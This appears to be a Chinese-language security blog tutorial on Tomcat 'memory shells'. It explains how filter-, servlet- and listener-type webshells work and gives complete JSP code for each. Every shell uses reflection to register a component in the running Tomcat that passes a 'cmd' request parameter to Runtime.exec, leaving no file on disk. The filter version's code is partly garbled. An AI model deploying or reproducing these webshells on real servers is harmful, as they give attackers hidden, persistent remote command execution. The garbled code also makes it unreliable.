tomcat三种内存马
filter型
servlet型
listener型
执行优先级是listener -> filter -> servlet
filter型内存马原理
filter是javaweb中的过滤器,会对客户端发送的请求进行过滤并做一些操作,我们可以在filter中写入命令执行的恶意文件,让客户端发来的请求通过它来做命令执行。
而filter内存马是通过动态注册一个恶意filter,由于是动态注册的,所以这个filter没有文件实体,存在于内存中,随着tomcat重启而消失。
一般我们把这个filter放在所有filter最前面优先执行,这样我们的请求就不会受到其他正常filter的干扰。
ServletContext
需要动态注册filter就需要几个添加filter相关的函数,ServletContext恰好可以满足这个条件
javax.servlet.ServletContext
ServletContext的方法中有addFilter、addServlet、addListener方法,即添加Filter、Servlet、Listener
获取ServletContext的方法
this.getServletContext();
this.getServletConfig().getServletContext();
ApplicationContext
在Tomcat中org.apache.catalina.core.ApplicationContext中包含一个ServletContext接口的实现
所以需要import这个库,最后我们用到它获取Context
1
| <%@ page import = "org.apache.catalina.core.ApplicationContext" %>
|
filter相关变量
filterMaps变量:包含所有过滤器的URL映射关系
filterDefs变量:包含所有过滤器包括实例内部等变量
filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
1
| <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
|
在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef
1 2 3
| <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %>
|
1 2 3
| <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>
|
filter型内存马实现
filter部分
先通过一个简单的filter来看一下结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package filter; import javax.servlet.*; import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException { System.out.println("init filter"); }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("exec filter"); filterChain.doFilter(servletRequest,servletResponse); }
public void destroy() {} }
|
filterDemo中有init、doFilter、destroy三个重要方法
1 2 3
| init()方法:初始化参数,在创建Filter时自动调用,当我们需要设置初始化参数的时候,可以写到该方法中。 doFilter()方法:拦截到要执行的请求时,doFilter就会执行。这里面写我们对请求和响应的预处理 destory()方法:在销毁Filter时自动调用
|
对我们来说,init和destory不需要做什么,只需要写一个doFilter方法拦截需要的请求,将其参数用于Runtime.getRuntime().exec()做命令执行,并将返回的数据打印到Response中即可,如下例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
|
动态注册部分
filter部分写好,下一步就是实现将其注入到内存中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
if (filterConfigs.get(name) == null){ filterDemo filter = new filterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/xyz"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name,filterConfig); out.write("Inject success!"); } else{ out.write("Injected!"); }
|
完整内存马
最终jsp文件,只需传到tomcat目录并访问一次,然后再访问其jsp文件../xyz?cmd=whoami即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import = "org.apache.catalina.core.StandardContext" %>
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<%@ page import = "javax.servlet.*" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Constructor" %> <%@ page import = "java.lang.reflect.Field" %> <%@ page import = "java.util.Map" %>
<% class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
}
} %>
<% //从org.apache.catalina.core.ApplicationContext反射获取context方法 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo"; //判断是否存在filterDemo1这个filter,如果没有则准备创建 if (filterConfigs.get(name) == null){ //定义一些基础属性、类名、filter名等 filterDemo filter = new filterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter);
//添加filterDef standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/* FilterMap filterMap = new FilterMap(); // filterMap.addURLPattern("/*"); filterMap.addURLPattern("/xyz"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面 standardContext.addFilterMapBefore(filterMap);
//反射创建FilterConfig,传入standardContext与filterDef Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filter名和配置好的filterConifg传入 filterConfigs.put(name,filterConfig); out.write("Inject success!"); } else{ out.write("Injected!"); } %>
|
使用示例
如果在当前web根目录则不需要寻找上一级目录
Servlet型内存马实现
Servlet部分
一个简单的servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class ServletDemo implements Servlet { public void init(ServletConfig arg0) throws ServletException { System.out.println("init"); } public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { System.out.println("service"); }
public void destroy() { System.out.println("destroy"); } public ServletConfig getServletConfig() {
return null; }
public String getServletInfo() {
return null; } }
|
类比filter,在filter型中我们需要在doFilter方法中填入恶意代码
在servlet中,我们需要在service方法中填入恶意代码,每次访问就会触发命令执行。
在service填入RuntimeExec和回显的部分,这个servlet就变成了进行命令执行的木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| class ServletDemo implements Servlet{ @Override public void init(ServletConfig config) throws ServletException {} @Override public String getServletInfo() {return null;} @Override public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } } }
|
动态注册部分
获取context部分与filter中相同,仍然从org.apache.catalina.core.ApplicationContext反射获取
1 2 3 4 5 6 7
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
然后这次需要将上文写的servlet封装成wrapper再使用context添加
1 2 3 4 5 6 7 8 9 10 11 12
| //将恶意servlet封装成wrapper添加到StandardContext的children当中 ServletDemo demo = new ServletDemo(); org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper(); demoWrapper.setName("xyz"); demoWrapper.setLoadOnStartup(1); demoWrapper.setServlet(demo); demoWrapper.setServletClass(demo.getClass().getName()); standardContext.addChild(demoWrapper);
//设置ServletMap将访问的URL和wrapper进行绑定 standardContext.addServletMapping("/xyz", "xyz"); out.println("inject servlet success!");
|
servlet型的内存马无法使所有请求都经过恶意代码,只有访问我们设定的url才能触发
完整内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.core.ApplicationContext"%> <%@ page import = "org.apache.catalina.core.StandardContext"%> <%@ page import = "javax.servlet.*"%> <%@ page import = "java.io.IOException"%> <%@ page import = "java.lang.reflect.Field"%>
<% class ServletDemo implements Servlet{ @Override public void init(ServletConfig config) throws ServletException {} @Override public String getServletInfo() {return null;} @Override public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } } } %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); ServletDemo demo = new ServletDemo(); org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
//设置Servlet名等 demoWrapper.setName("xyz"); demoWrapper.setLoadOnStartup(1); demoWrapper.setServlet(demo); demoWrapper.setServletClass(demo.getClass().getName()); standardContext.addChild(demoWrapper);
//设置ServletMap standardContext.addServletMapping("/xyz", "xyz"); out.println("inject servlet success!"); %>
|
使用示例
如果在当前web根目录则不需要寻找上一级目录
Listener型内存马原理
Listener是javaweb中的监听器,监听某一个java对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法立即被执行。
Listener内存马是通过动态注册一个Listener,其监听到某个参数传入时,则将参数用于命令执行,由于是动态注册的,所以这个Listener没有文件实体,存在于内存中,随着tomcat重启而消失。
Listener型内存马实现
Listener部分
一个简单的HttpServletRequestListener示例
1 2 3 4 5 6 7 8 9 10 11
| class S implements ServletRequestListener{
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { System.out.println("Initialized."); } @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { System.out.println("Destroyed."); } }
|
在Listener中,我们需要在初始化操作contextInitialized中填入恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class S implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter("cmd"); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } } }
|
动态注册部分
获取context部分
1 2 3 4 5 6 7
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
添加Listener
1 2
| S servletRequestListener = new S(); standardContext.addApplicationEventListener(servletRequestListener);
|
完整内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.annotation.WebServlet" %> <%@ page import="javax.servlet.http.HttpServlet" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %>
<% class S implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter("cmd"); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } } } %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); S servletRequestListener = new S(); standardContext.addApplicationEventListener(servletRequestListener); out.println("inject success"); %>
|
使用示例
如果在当前web根目录则不需要寻找上一级目录